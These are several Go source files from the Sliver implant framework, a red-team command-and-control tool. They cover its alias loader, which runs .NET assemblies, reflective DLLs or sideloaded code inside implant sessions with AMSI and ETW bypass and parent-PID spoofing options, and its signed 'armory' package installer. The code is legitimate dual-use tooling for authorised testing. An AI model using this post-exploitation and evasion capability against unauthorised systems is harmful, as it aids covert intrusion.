break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+75
View File
@@ -0,0 +1,75 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
+519
View File
@@ -0,0 +1,519 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
+1
View File
@@ -0,0 +1 @@
package armory
+309
View File
@@ -0,0 +1,309 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
